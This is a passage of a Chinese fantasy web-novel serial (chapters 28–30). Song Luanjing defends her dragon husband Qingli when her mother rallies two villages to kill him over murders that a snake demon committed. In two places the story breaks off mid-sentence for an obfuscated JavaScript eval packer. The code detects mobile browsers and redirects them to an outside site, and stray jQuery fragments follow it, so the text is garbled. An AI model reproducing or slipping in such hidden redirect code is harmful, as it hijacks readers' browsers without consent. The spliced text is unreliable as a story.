“银杏,李大叔有没有说,死的都是些什么人?有没有可能是他们常干坏事罪无可恕,阿漓才替天行道吃掉他们?”
银杏叹口气,无奈道:
“我的镜镜啊,听听你在说些什么胡话,为了给龙仙老爷洗脱嫌疑,你连这种猜测都能想出来!
前天死的人里,有村里放牛的老吴,咱俩小时候都认识!
老吴为人老实忠厚脚踏实地,成天就晓得诚诚恳恳地放牛种庄稼,我们四五岁那会子,他还牵着老黄牛驮我们去村里小卖铺给我们买过零食呢!你觉得他是坏人吗?
还有昨天死的许阿哥,前两年才大专毕业回来跟着家里人学习种植莲藕,他可能是坏人吗?”
我心底压抑得厉害:“连老吴也遭遇不测了……”低头拿树枝在地上乱画,我又思考了很久,突然冒出一个念头!
抓住银杏的胳膊,我着急和她商量:“李大叔今天还去陈家湾村吗?去的话带我一个!我见过阿漓的真身,我能确定**的青龙是不是阿漓!”
只要我亲眼见到那条**的恶龙,他如果不是青漓,我就能为青漓作证,向陈家湾村的人解释清楚!
“你的这个提议和我爸的想法不谋而合哎!”银杏激动了一下,但随即又颓靡下来:“可惜,晚啦!”
我心下慌乱:“什么晚了?”
银杏默默凑近我些,与我道:
“其实我爸今天让我过来,主要是为给你通风报信,据可靠消息讲,今晚陈家湾村的村民,要和咱们月阴村的人联手,捉拿龙妖!
陈家湾的村长今天大清早就急着把我爸打发回来了,因为,昨天村长请了我爸去村里降服恶龙,但却没有成功,后来陈家湾的村长连夜赶到月阴村,求见了你母亲。
你母亲已经和村长商议好了抓捕计划,准备如果在陈家湾抓不住恶龙,就来你家设天罗地网,直接对龙仙动手,要烧死龙仙!”
“什么?!”我心神狠狠一震,着急道:“他们无凭无据,凭什么认定,人是青漓吃的!”
银杏心累道:“你还没听明白么?你妈愿意出手帮陈家湾村抓那什么**的恶龙,难不成是真为救陈家湾村的无辜村民?她这是对龙仙起了杀心!
换而言之,无论**的是不是青龙仙,外面**都已经发酵到这个地步了,你妈完全可以顺水推舟,将这个罪名按死在青龙仙头上,然后再集两个村子的力量,对付青龙仙!
青龙仙他是仙家不错,他法力高强也不错,可俗话说得好,武功再高也怕菜刀,两个村子,四五百号人呢,龙仙就算屠村,也得杀一整晚吧,何况你妈她懂巫术啊!
月阴村住着的,都是九黎族人,九黎族人会训蛇,会蛊术,别看分散开,一个二个窝囊的不成样,但如果有你妈坐镇指挥,众人齐心协力,恐怕实力无穷,青龙仙会吃亏!”
我懂了,我妈这是想借月阴村与陈家湾村几百号人的手,除掉青漓这个威胁!
从前青漓与月阴村之间有交易在,青漓是月阴村的保护神,所以我妈才敬着青漓,畏惧青漓……
可现在,交易结束,我又被送回了青漓身边,我妈手里连个能威胁掣肘青漓的把柄都没有……青漓的存在,自然就是我妈身旁最大的隐患!
“我爸的意思是,如果**的真是青龙仙,今晚你妈带人去抓他,势必会惹怒他,到时两个村子肯定会伤亡一片,你夹在中间也不好受。
如果不是青龙仙,那就是场无妄之灾了……为了避免你妈一意孤行酿成人间惨剧,你今晚一定要想办法让青龙仙回山上待一夜,这样就能再给我爸争取一夜追查真相的时间!
九黎山是青龙仙的地盘,山上大小妖物都听青龙仙号令,你妈不敢擅闯。
尽量,别让青龙仙知道,你妈要杀他,免得激怒他……剩下的交给我和我爸。”
银杏严肃地说完,握住我的手,沉声安慰:
“镜镜,我和我爸都是站在你这边的,我们会努力找到证据,证明青龙仙的清白!今晚,就辛苦你了。”
我深呼一口气,点头:“我明白李大叔的好意,让青漓暂时离开月阴村,也是为了保护青漓。”
银杏颔首,靠过来抱住我:
“哎呀,我们的小镜镜,该不会是真对青龙仙动心了吧?以前我被人冤枉,也没见你这么坚定地信任过我啊!
我和我爸只是怀疑青龙仙,你就紧张成这样。
昨天赵二那个鳖孙子还说,你坚持要为青龙仙作证,死咬着龙仙夜里压根没离开过你家,**的不是青龙仙。
你啊,和那些蠢人论什么长短,就算**的不是龙仙老爷,以村里人对龙仙老爷的偏见,怀疑的种子一旦在心里发芽,就拔不掉了!
我爸说,现在月阴村的人根本不关心陈家湾村的人是不是龙仙杀的,他们只关心……能不能借机,除掉龙仙这个威胁。”
我握住银杏的手,心里很乱:
“杏子,你是我在月阴村唯一的朋友,李大叔是村里最关心我的人……我也不瞒你们,我的确对青龙仙有好感,他热情真挚,温柔体贴。
从认识他到现在,他从未伤害过我一分一毫。和他在一起,我很有安全感,很踏实。
他、很会心疼人,他看我的眼神很纯粹,我能感受到,他很爱我……我不想弄丢他。”
银杏轻笑一声:
“恋爱脑!不过,也挺好。希望这件事和龙仙老爷完全无关,不然你以后还怎么和他在一起。我还指望你俩早点生个娃娃出来给我玩呢!
最好是女孩,我就能给她买好多漂亮小裙子,给她编各种各样的小辫子了!
你说你俩结婚,也不办婚宴,我的喜糖怎么办?这样,等这件事过去后,我送你俩一件新婚礼物,你让你老公去买喜糖!单独包给我一人也成!”
我歪头倚在她肩上,“谢谢你,银杏。”
大力和大武坐在旁边晃脚丫,听得垂头丧气。
下午,老六叔进了我家院子,往祠堂方向快步赶去……
我警惕地立即悄然跟上,本想偷听一点有用信息,谁知却在半路被妈和宋花枝逮个正着!
我步子一顿,看着一脸阴沉的妈与唇角上扬的宋花枝,心虚往后退了半步。
“妈,你怎么在这?”我勉强保持冷静问。
妈冷哼一声,手里捻着檀木念珠没好气道:“这话,该是我问你才对!你鬼鬼祟祟跟在你六叔身后,别告诉我,你只是恰好也要走这条路!”
我压下胸膛内的不安,镇定从口袋里摸出一枚桃木观音牌,
“我刚回来那天,老六叔让我给他刻一张观音牌,说要挂在家里辟邪,这事妈你也知道,我前两天刚刻好,今天出院子,正好看见老六叔,所以就想追上来把桃木观音牌给他。”
幸好我准备充足……不然现在可就真有嘴说不清了。
我妈瞧了眼观音牌,伸手把东西接了过去,也不晓得有没有相信。
拿着观音牌看了一阵,突然对花枝吩咐:“把你妹妹押进我房间!”
宋花枝闻言立即冲过来,反押住我的右臂,像抓犯人那样用力推着我的肩膀要把我推进妈的卧房。
我大惊失色,不解地看着妈:“妈,你要干嘛?宋花枝,你放开我!”
我妈见我不大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484875|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愿意走,心狠地一把拎住我耳尖,帮宋花枝将我一路从院子里通往祠堂的小道上拽进她房间……
我左耳被拽得火辣辣的疼,耳中一阵嗡鸣。
妈用力将我甩进房间,大手一挥,房门就自动咚的一声关闭上。
我踉跄两步,刚站稳脚跟,宋花枝就扬手狠狠甩了我一巴掌:“小**!妈的话都敢不听!”
我本来就被妈扯耳朵扯得火大,又被她二话没说扇了一耳光,心里顿时更窝火了!
毫不犹豫地反手用力扇回去:“说谁小**呢!我是**你是什么?我有你贱吗!”
这巴掌挥出去,我心情瞬间爽了一半!
宋花枝也没料到我竟敢当着妈的面还手,不可思议地瞪大双目死死盯着我,捂住被我扇出五个巴掌印的红肿脸颊,瘪嘴委屈哭了起来:“妈,你看她!她都敢打我了!”
妈这回,倒没有急着偏向她,为她撑腰,而是蹙着眉冷声道:“好了,这都什么时候了,你们姐妹俩还只顾着互殴,像什么话!”
宋花枝捂着脸瘪嘴哼哼,躲在妈身后扮柔弱。
我妈深呼两口气,定睛看向我,直入正题:“陈家湾村的事,你都知道了吧?”
我怔住,早就猜到、我妈是为了这件事拦我……
我不假思索道:“不是龙仙干的!龙仙……”
不等我把剩下的话说完,我妈就厉声打断:“就是龙仙做的!”
我急得将心里话脱口而出:“你这是污蔑!你有证据吗?”
我妈垂眸冷冷盯着我,语气强硬:“陈家湾上下几百户,都是目击证人!”
“那也不能证明,**的青龙,就一定是青龙仙,这世上青龙多着呢,又不止青龙仙这一条!”
“狡辩!”我妈冷哼道:“我不同你多费口舌,今日把你拖过来,是有件事,我命令你,去帮我做!”
她说完,抬指用巫术化出一道灵符,送给我,威胁道:
“把这张符,贴在青龙仙身上,等我制服了青龙仙,看在你协助有功的份上,从前你忤逆母上,不尊亲姐的罪过,我就不同你计较了。
青龙仙一死,你依旧是我宋淑贞疼爱的小女儿!不然,你若一定要执迷不悟,那就休怪母亲,对你狠心了!”
我紧张地瞟了那枚灵符一眼,朱红的符文蜿蜒胜血,看得人脊背阵阵发寒……
“我不贴!”我态度坚决地反抗。
我妈目下一凛:“不答应,你就休想走出这间屋子!”
我颤颤喘息着,犹豫片刻,伸手,将灵符接下……
但,下一秒,我趁她们母女不备,突然转身打开门,逃出去——
顺手把灵符撕得粉碎扬出去。
“我就不贴!”
“混账!”
我妈一掌凌厉掌风打在我背上,重震我的神魂,撞得我差些腿软原地摔趴下……
可,我还是撑着一口气,拼命逃回了东院。
东院里有青漓留下的大力大武,他们能保护我!
我踉跄扑进东院,体力不支的摔撞在石桌上,堵在嗓门中的那口气陡然一松,咳吐出一抹血……
大力大武听见动静从堂屋里跑了出来,见石桌上有我的血,赶忙绕到我身后给我抚背顺气。
妈这次,是真想杀掉青漓了……
今晚无论如何,也不能让青漓留在家里!
我焦虑地等了青漓一下午……
直到太阳下山,也不见青漓回来。
我在院子里急得来回徘徊。
“怎么还不回来……为什么还不回来!”
再晚点,就撞上那波人了!
大力和大武也跟着我在院子里急得团团转……
好在,堂屋里七点的钟声敲响。
一阵阴风拂过庭院,他的身影准时出现在昏暗夜幕中——
“阿鸾。”他柔声唤我。
我脚下一顿,扭头看见他的身影,激动地赶忙迎上去——
“阿漓!”
我想拉着他快走,连把他带出家门的理由都想好了,就说……
去山上祭拜我爸!
可我刚走近他,就又闻见他身上浓重的血腥味……
诧异昂头,我竟看见……他的唇上,沾染着一点殷红血迹。
脑海里那个蛊惑人的声音又响了起来:
“看吧,他身上有血,嘴唇上也有血,分明就是刚吃过人!”
“他就是个野性未除的妖孽!”
“他今天能吃别人,明天,就能吃了你的亲人,你的朋友,以及,你自己……”
“亏你还如此信任他,事实摆在眼前,他就是祸害陈家湾的龙妖,他该死,杀了他,让你的母亲杀了他!”
“宋鸾镜,你一味包庇龙妖,就是杀害陈家湾村那些无辜村民的帮凶!你会遭天谴的!”
“你好歹还是接受过高等教育的大学生,竟还帮着**凶手掩盖事实!你明知道**不对,**就要偿命,为什么凶手变成青龙仙,你就舍不得揭穿他了?”
“帮凶!陈家湾那些无辜村民的死,也是你间接导致的!”
“宋鸾镜,杀了他!为民除害!为那些无辜的村民,报仇!”
不!
龙仙不会无缘无故**,绝对不会……
我颤抖着一把抓住青漓的手,害怕地轻声问他:“阿漓,你去哪了?陈家湾村的那些人,究竟是不是你杀的!阿漓你告诉我……”
再不告诉我,我要被逼疯了!
他闻言一怔,几秒后,染血的指尖轻抬我下颌,温柔目光凝视我朦胧双眸,勾唇低问:“阿鸾,很怕我**?”
我急得眼泪都掉下来了,用力点头,直言不讳:“怕!”
他又愣了下,望着我的目光愈渐清冷深长:“那若是……本尊就是陈家湾那条**的恶龙呢?”
我绷不住地抱住他呜咽哭出声:
“我知道,就算你**,你也是有苦衷的……阿漓,别做错事,你要是做了错事……那我就、替你去赎罪!”
他的玉指轻轻搭在我耳尖……
“傻阿鸾……若我说,不是我,你会信吗?”
我想也没想就回答:“我信!”
因为我心目中的龙仙……本来就不可能**!
他终于沉笑出声,捧起我泪痕斑驳的容颜,眼神似水温柔:
“不是本尊,本尊今晚刚同那只冒充本尊的妖物交手……”
低头,深情亲吻我的唇——
但下一瞬,我背后突然红光乍现,一道赤色流光迅速撞进青漓的眉心——
青漓猛地松开我,后退一步,痛苦皱眉,捂胸喷出一大口赤金血……
“阿漓!”我惊叫出声。
青漓望向我的眼神冰冷下来,抬袖抹去唇角血色,失望地启唇,嗓音疲倦喑哑:
“阿鸾……你骗我,你根本、不信我。”
“你还是、想杀我……”
第29章 青漓对她,没有信任
“阿漓,我没有!”我着急要扑近他。
但他却、下意识避开了我……
而也是在此刻,我妈的冷肃声音从背后传了过来:“你有!”
我有……
不,我没有!
我诧异转身,却见妈与宋花枝,以及老六叔、赵村长、陈家湾村的陈村长……已经带着乌泱泱的村民涌进了东院。
燃烧的火把高高举起,火焰挤满了整个院落。
几百号人从院外堵进院内,将整个东院包围得水泄不通,俨然就是来找龙仙算账的!
大力大武被晃眼的火把给吓得躲进堂屋,我妈手中拄着神木权杖,一袭藏蓝镶银饰的族长尊贵袍服,墨发高高挽起,双凤簪与玄鸟冠在火光映照下,泛着冷冽的光——
“镜镜,你做得很好,真不愧是我的女儿!”我妈面无表情地一手拄权杖,一手捻檀木念珠,莫名其妙地说出这句话。
而我,也极快反应过来妈到底想干什么……
“是你……我不是已经把灵符撕了吗?你到底在我身上动什么手脚了!”我不知所措地着急质问。
刚才伤害青漓的那道光,是从我身后飞出来的……
是我妈下午打在我背后的那一掌!
我妈攥着权杖没有回答我的话,倒是宋花枝,反常的眼角猩红噙着泪,一副受了委屈的模样,可怜兮兮的小跑到受了伤的青漓跟前,嘤嘤哭诉:
“龙仙大人,我早就和你说过,我妹妹心里只有赵二哥,她对你都是虚情假意!
你知道吗,自从妹妹得知陈家湾村**的龙妖是你,妹妹就一心想为民除害,今天下午更是主动去找妈,说能帮月阴村与陈家湾村解决掉你这个妖孽。
她让妈把灵符贴在自己身上,这样,只要你同她亲近,你就会被她身上的灵符反噬,重伤元神……我劝过妈和妹妹,可妹妹除妖心切,她就是不听啊!”
“你胡说!”我被气得身子发颤,无助看向脸色苍白的青漓,憋着眼泪努力保持冷静,理智解释:“我下午的确去见过妈,但却是被妈和宋花枝强行拖拽过去的,她们也的确给了我一道灵符,但是符被我撕了!”
青漓直视我的委屈目光,捂在心口的大手渐渐松了几分力度……
我就知道,他是信我的。
可,让我万万没想到的是,背后的村民竟然也帮宋花枝撒谎污蔑我——
“哎呦镜镜,你就别演了,反正龙仙今晚也逃不掉了,他必死无疑,你怕他个**啊!”
“就是,你既然都主动去找族长做交易了,可见你的心,还是在我们月阴村人身上。”
“镜镜,你能回头是岸,我们很欣慰,你放心,我们都支持族长改立你为圣女,以后你就再也不用低花枝一等,看花枝脸色了。”
我颤巍巍扭头,不敢相信地嘶声反驳:“我没有!我什么时候找妈做交易了!我什么时候想做月阴村的圣女了!你们是在挑拨……”
李家婶子揣着双手冷笑一声,翻脸无情:
“啧,镜镜啊,你这就虚伪了,明明就是你出卖了龙仙,要不然,我们怎么知道龙仙会在此时回来?
族长怎么知道,龙仙的命门,在额头那抹妖印处?
还不是因为你说,龙仙每每与你欢好时,额头妖印都会泛光,族长这才根据你的线索,推断出龙仙的命门就在额上,才有机会,用符印打伤龙仙的元神啊!”
张家大娘也目露鄙夷地附和道:“对啊,你和族长说,你早就不想给龙仙当老婆了,你说龙仙是畜生,你和他在一起的每一天,都能闻见他身上的腥臭味,都觉得恶心得慌!”
老六叔阴笑一声,“你说这些话的时候,我们大家,可都在场,我们所有月阴村人,都可证明!不过,我们也是你母亲和你交易的见证,你放心,只要今晚成功**龙仙,你就是我们九黎族唯一的圣女!”
“我没有!”我急着疯狂向青漓解释:“阿漓,你相信我,我真的没有出卖你!”
青漓目露犹豫,张家大娘趁机故意又道:“他都快**,你有什么可顾虑的!龙仙,我们镜镜可说了,你**,就该死!”
短短几个字,却令青漓朦胧青眸陡然冷冽,直视我的眼神从心痛不解、到自嘲狠戾。
“本尊**,就该死……”他捂住血水渗出衣物的胸口,刚一张嘴,血就从齿缝溢出来,深眸直勾勾盯着我,倏然嗤笑,嗓音悲凉:“阿鸾,你的心……还真是捂不热啊!”
我的心……捂不热?
我一时心绪大乱,摇头含泪想向他认真说清前因后果:
“我的确、怀疑过你,可这些怀疑后来都被我自己否掉了!我问过你,**的龙妖和你有没有关系,你让我信你,我信了啊!
今天晚上我等了你好久,我是早就知道他们想对你下手,所以我想等你回来就找个由头把你带进山,李大叔说了,九黎山是你的地盘,只要你回了九黎山,我妈她们就不敢动你。
我想保护你都来不及,又怎么会为了什么圣女之位和她们联手杀害你!”
我话刚说完,就引起了身后两个村子的人不满,村民们的控诉声从四面八方涌过来——
“妖物的命门在哪里,只有最亲近的人才能发现!你现在敢做不敢当,有什么意义?”
“对啊,如果不是你主动背叛龙仙,我们怎么可能这么顺利的捉到龙仙?”
“龙仙**,就该死,这句话就是你亲口说的!”
“不管怎么样,伤龙仙的符印都是从你身上打出来的!龙仙也的确是被你所伤,你不会是后悔了吧?你怕我们打不过龙仙,所以你就怂了,连自己亲手做过的事,都不敢承认了?”
周围人指责的言语吵得我脑子疼,我捂住快要裂开的脑壳,想和他们争个对错,却根本没有精力——
脑子里还有道女人声在不断地催眠我:“宋鸾镜,你这么相信龙仙,可龙仙根本不信任你啊!”
“别人三言两语就能让他对你产生怀疑,你们之间根本就是个错误,他、根本不值得你爱!”
“宋鸾镜,放弃吧,闭上眼睛,睡一觉,明天醒过来,一切就都结束了……”
但还有另一道声音在试图唤醒我的理智:“宋鸾镜,不能闭上眼,会被别人掌控的!”
“宋鸾镜,再给他一次机会,就一次……”
“宋鸾镜,他可是连命都愿意给你的人啊!”
我低垂着脑袋,骤然醒神,耳边还回荡着陈家湾村村民的那句:
“宋鸾镜,你是好样的,别怕!我们整个陈家湾村都支持你,你就是我们陈家湾村的救命恩人!”
以及赵二那句:“鸾妹你别怕,我们不是已经说好了么,等杀了龙仙,我们就长长久久在一处!我定风光娶你进门!”
还有宋花枝的软语蛊惑:“龙仙大人你都看见了吧,我妹妹他对你没有真心,她嫁给你,只是贪图你身上的仙气,还有你的……龙丹。”
我忍无可忍地红着眼眶厉声呵斥:“宋花枝你闭嘴!”抬起泪湿的眼眸,我将视线落在青漓那张煞白的容颜上,哽咽询问:“我只问你一句,阿漓,你信我么?”
他阖目不看我,捂着胸口的手紧攥成拳,咬牙冷漠道:“宋鸾镜,你还和从前一样,冷血无情。”
我突然没忍住的自嘲笑出声,转身,不想让他看见我不争气为了他伤心痛哭的模样……
青漓,不管发生什么事,不管有多少人污蔑你,我都坚定不移地选择相信你。
可你呢,就因为旁人的指证……
把本就孤立无援的我扔在一边,甚至还如他们所愿,怀疑我。
我在你心中,到底算什么……
我心痛地绷紧身体,十指抠进掌中。
指尖寸寸加深的剧痛,根本掩盖不住心底的麻木与寒冷。
我妈从容发话:“好了!镜镜,回到妈身边来。众位族人,摆阵杀恶龙!”
我泪如雨下地愣在原地……只听耳边有太多人喊打喊杀,还有猎猎狂风与巨龙嘶啸——
“族长,这天罗地网怕是网不住它啊!”
“无妨,他本就身受重伤,又被我重创元神,如今在我们的天罗地网里挣扎,已是艰难无力!老六,加把劲,待我引天雷,劈碎他的龙丹,让他万劫不复!”
“好!用先祖留下的办法,引天雷,轰死他!”
我讷讷昂头,只见东院上方突然出现一张冒着蓝光的大网,而那条青色巨龙……此时却虚弱的连九黎族的法宝都挣脱不开。
我妈执起神木权杖就要作法引天雷,我咬了咬牙,怨恨看着她的背影——
雷光劈下来的那一刹,我猛地跑过去,狠狠推开她。
余光捕捉到雷尾就要击进青漓的龙额了,我气急攻心,含着一口血冲夜幕中的那道银雷怒吼:“滚回去!”
话音落,天雷麻溜的一路火花带闪电原道呲回天上去了——
我脑子发昏的赶紧捏诀解天罗地网,随着最后一个掐诀手势做完,我虚弱低呵一声:“破——”
原本靠九黎族众人稳住的天罗地网,顷刻破碎消散。
飓风呼啸的夜幕里,青龙长尾一摆,顺利趁机逃了出去……
风扬过,红雨蒙蒙,落了满院。
这些雨……都是阿漓的龙血……
天罗地网破裂的那一刻,九黎族的子民们被巫术反噬,乌泱泱的摔倒一大片。
“什么情况!宋鸾镜不是个小废物吗?她连训蛇都不会,怎么会破天罗地网?”
“叛徒!她就是我们九黎族的叛徒!”
“哎呦喂,大好的机会被这个死丫头给弄没了!”
我妈见状也目光狠厉的大步迈过来,一把拽住我的胳膊面目狰狞的质问:“说,是谁教你的破解之术!这可是九黎族不外传的巫术!是不是老李?!”
宋花枝揉着摔疼的胳膊嘴贱拱火:“肯定是姓李的教的!姓李的平时疼她跟疼自己亲闺女似的!”
我妈脸色难看地剜了花枝一眼:“你闭嘴!”
宋花枝噎住,心虚地抬手遮唇。
我看着妈恼羞成怒的蠢样,笑出声:“妈,您忘了吗?是您教的啊。小时候,您亲自教过我和花枝修炼本族巫术……”
我妈生气反驳:“不可能!你那么笨,我怎么教,你都学不会!”
我失落笑喃:
“不是我笨……而是妈你的关注点,从来都没有停留在我身上过。我不是不会,而是不想和花枝争风头。
妈,您不也希望,我的蠢笨,能衬托花枝的聪明,能向所有人证明,您选择的圣女准没错吗?”
我妈心虚地撒开手,六神无主道:“那岂不是,我九黎族的巫术……你全都学了去?!”
我轻笑:“妈,我也是九黎族的人啊。”
我妈越听越害怕,攥紧权杖沉思片刻,阴冷眸光渐沉:“那我就,废了你的巫术!”
“没用的。”
我无情戳破我妈的美好幻想,残忍说出实情:
“九黎族的秘法我都记在脑子里,上古巫术本来就不需要任何功底,修炼是没有门槛的。你就算废了我的巫术,只要我还记得口诀手势,我依旧能随便使用。”
我抬眸,看着妈手里的神木权杖,淡淡道:“我还知道,这个权杖的秘密……权杖可以引天雷……”
手快地从宋花枝头上拔掉一根银簪,照着自己心坎用力捅下——
心头血顺着簪身溢进我的手掌,我趁母亲还没反应过来,染血的巴掌一把握在了权杖上……
权杖顿时一道青光晃过,失了神性。
“我也可以,封印权杖的神力!”我如释重负地直勾勾盯着她笑。
她不可思议地瞪大双眼,看了看我,又看了看权杖,哆嗦着低喃:“疯了!鸾镜,你真是疯了!”
小时候我无意在母亲的书桌上看见过一本祖传古籍,上面说,九黎族族长权杖是至阳神木,最怕至阴之血……
而心头血,就是至阴血。
我的这把血,至少能让权杖失去神力半个月。
半个月,青漓的伤应该已经养好了吧……
老六叔怒不可遏地抬起巴掌要扇我:“你这个叛徒,**吧!”
可不等他巴掌落下,李大叔就带着银杏匆匆赶了过来——
“宋淑贞!你就眼睁睁看着别人这么欺负你闺女?!你忘了吗,是这孩子当年把你从**摊上拖下来的,她再怎么说也是从你肚子里生出来的!”
李大叔高呵,而老六叔的巴掌,也顺利被妈握着权杖挡下。
妈脸色难看地阻止道:“老六,我自己的孩子,自己会教!你捞起袖子喊打算什么!”
老六叔见妈都发话了,这才勉强咽下这口气,目光不善地收了巴掌。
李大叔快步走到众人跟前,双手背后与众人解释:“**的妖物,不是龙仙,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488847|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而是蛇妖!”
陈家湾村的人们面面相觑,听了李大叔这话,纷纷焦急问道:“蛇妖?什么蛇妖?!”
“我们没瞎,那**的怪物明明就是条青龙!”
“龙和蛇我们还是分得清的,老李,你难不成为了包庇那条恶龙,故意指龙为蛇?”
李大叔不紧不慢从怀里掏出一段红色蛇皮:“今晚,我在陈家湾村的大坝边,捡到了这片蛇皮。还在大坝边的土坡下,发现了奄奄一息的陈老二,也就是陈村长你亲弟弟。”
“什么?我老弟也遭遇不测了?”陈村长惊恐追问:“我老弟现在还活着吗!”
李大叔点点头:“你老弟运气好,今晚被假青龙盯上后,假青龙刚咬了你老弟一口,就被真龙仙给抓个正着,打个半死不活了。
你老弟亲口告诉我,说他看见两条青龙打架,后来那条真龙,把之前在陈家湾村兴风作浪的假龙给咬得四处逃窜,打的皮都掉了。
如果在你们村**的是青龙仙,那今晚救下你弟的那条青龙,又是谁?
这截蛇皮,能证明之前那条青龙,是红蛇假扮的,为的,就是嫁祸青龙仙!
你们这群愚蠢的家伙,青龙仙是仙家,是这九黎山下方圆百里的保护神,你们却听信别人的鬼话,把青龙仙当成凶手。
还与月阴村的村民合谋要杀害青龙仙,你们就不怕青龙仙震怒,回过头来找你们算账么!”
李大叔讲得有理有据,陈村长的弟弟还成了目击证人,这下陈家湾村的村民不信也得信了……
原来,阿漓唇上的血,是蛇妖的……
我当时、竟还怀疑他。
陈村长这会子晓得害怕了,赶紧上前来请教李大叔:
“老李啊,李哥哥啊!你救救我们,给我们出出主意吧!我们今晚差点把龙仙打**,龙仙不会回来寻仇吧?”
随即有村民惶恐追问:“对啊!我们也是信了宋族长的话,才配合月阴村的村民给龙仙下套,我们不知道**的是蛇妖、不是龙仙啊!”
“咋办啊,我们都把龙仙打出血了,龙仙赶明儿要是回来报复,可怎么办啊!”
“什么叫我们把龙仙打出血了……龙仙受伤明明是月阴村的人干的!是宋族长利用自己的女儿给龙仙下阴手……咱们今晚过来,也就只是给月阴村的人壮势而已。”
“对对对,我们可什么都没干啊,我们只是来充人头的,龙仙就算要报复,也该报复月阴村!报复、报复自己的老丈母娘!”
陈家湾村的人突然反水背刺月阴村,月阴村的村民自然也不乐意,于是没过多久两个村子的人就吵得不可开交,恨不得互捅刀子——
“哎你这话说得真恶心,是谁连夜赶来月阴村,求我们族长帮忙的!”
“就是,明明是你们,咬定**的就是我们月阴村的青龙仙,你们前天一大早还来我们村嚷嚷着要说法呢!”
“早知道,我们就不该帮你们陈家湾村蹚这趟浑水,你们陈家湾村的人被蛇妖吃绝种才好呢。”
双方谁也不让着谁,吵得根本停不下来。
唯有我妈,握着权杖面无表情,想事想得出神。
李大叔看不下去的咳嗽两声,道:
“总之,这次是你们冤枉了青龙仙,与其在这里吵个不停,不如赶紧回家洗洗睡吧!
龙仙的事,我明天单独去找陈村长讲,龙仙是正经仙家,就算是要报复,也会提前知会你们一声。
这孩子是龙仙的新娘,她今晚也伤得不轻,万一龙仙半夜放心不下回来找她,看见你们还在的话……”
后面半截话李大叔故意没有明说,陈家湾村的人纷纷明白过来,赶忙争先恐后地往外跑。
月阴村的村民见盟友都跑了,也丢下我妈,一个个溜得极快。
外人全部离开后,我妈瞪了我一眼,拉上宋花枝要走。
李大叔低声与银杏安排了句:“在这照顾鸾镜。”
迈开步子,也追着我妈离开了东院。
银杏心疼地扶住我:“镜镜,你没事吧?到底什么情况,青龙仙和你为什么没有按计划离开这里,回山上?”
我疲倦地合上眼睛,不知道该从哪里说起。
院外突然响起一道响亮的巴掌声——
紧接着是我妈歇斯底里的怒吼:“我该怎么做,用不着你这个懦夫教我!”
李大叔也发火了:“宋淑贞,你再这样不计后果地一意孤行,当心遭天谴!”
“少用什么天谴忽悠我,我现在所做的一切,都是为了九黎族。”
银杏耸了耸肩:“哦吼,我老爸又挨了宋阿姨一巴掌。”
我昂头,看着灰蒙蒙的天,暗暗下定决心……
天刚亮,我就拖着疲倦的身体,一步一步爬上九黎山山顶。
按着之前在花轿内的记忆片段,勉强拼凑出了从山下到落枫洞的路线。
只是,我好不容易找到落枫洞的位置,进去搜了好几遍,都没有见到青漓……
我站在洞口呼唤青漓的名字,也无人应答。
找不着青漓,我只能没出息地蹲在洞口委屈哽咽。
抬手抹眼泪,泪珠子蘸在掌心,却意外令掌中青痣发了光——
一点荧光飘出掌心,轻盈地往北方飞去……像是,在指引我往什么地方去……
我擦擦眼泪,起身跟随荧光,下了山坡,往山脉深处走去。
拨开齐腰杂草,我步步艰难的踩在无人涉过的荒山野地里,崴了三次脚,两次从山坡上滚下去,狼狈地连续往前摸了两个小时,才终于走进一片……如火如荼的凤凰花树林里……
树林深处,有一处薄雾笼罩、紫水晶石堆砌而成的漂亮洞府——
荧光在洞府门外消失不见。
我心下一喜,难道青漓在这座洞府里养伤?
“阿漓——”
我激动朝薄雾萦绕的洞府跑去……
但刚靠近洞府,就被一道强**力撞飞了出去——
身体重重摔在地上,撞得心口狠狠一震。
我捂住胸口痛处,掌心一阵温湿。
来不及从地上爬起来,一条青色巨蛇就从天而降,长尾粗鲁卷起我身体,将我高高举起,又像丢垃圾似的,用猛力甩出去。
后背再次狠撞在凤凰树的树干上,震得满树红花簌簌而落。
我狼狈跌摔在地,心口呼吸一滞,一股热流抵上嗓门,喷在了袖边的火红凤凰花瓣上——
第30章 杀你,脏了他的手!
青蛇见状仍不肯放过我,御风飞来,一尾巴重抽在我的后背……
撕心裂肺的剧痛顷刻袭遍四肢八骸,后心像被人捅了一刀——心脏破裂成数瓣。
强大的法力似震碎了我周身那道朦胧金光……我甚至能听见,肩骨断裂的声音……
好疼。
眼前黑了一次又一次,我趴在地上,强行咽下口中腥咸。
青蛇血瞳炯炯的死死盯着我,一副攻击状态,猩红蛇信子丝丝冲我吞吐着——
眯了眯血纹竖瞳,还要再对我下死手。
然千钧一发之际,一条银蛇又赫然从天而降,为我挡下了青蛇的法力攻击……
“仇惑!你干什么呢!”白蛇低斥,青蛇恶狠狠地冲我呲牙:
“她该死!要不是她,帝君怎么会接二连三地受伤,还都是致命重伤!
要不是她犯贱,分不清好坏,帝君待她那么好,她非要和宋淑贞联手,用那该死的灵符设计重创帝君元神,帝君又怎么可能、险些丢了性命!
帝君回来时,全身都是血,龙鳞都掉了好几片!
帝君为了她,受了三百多年的折磨,好不容易等到她,她却想置帝君于死地!
既如此,不如我现在就杀了她,免得她往后再拖累伤害帝君!”
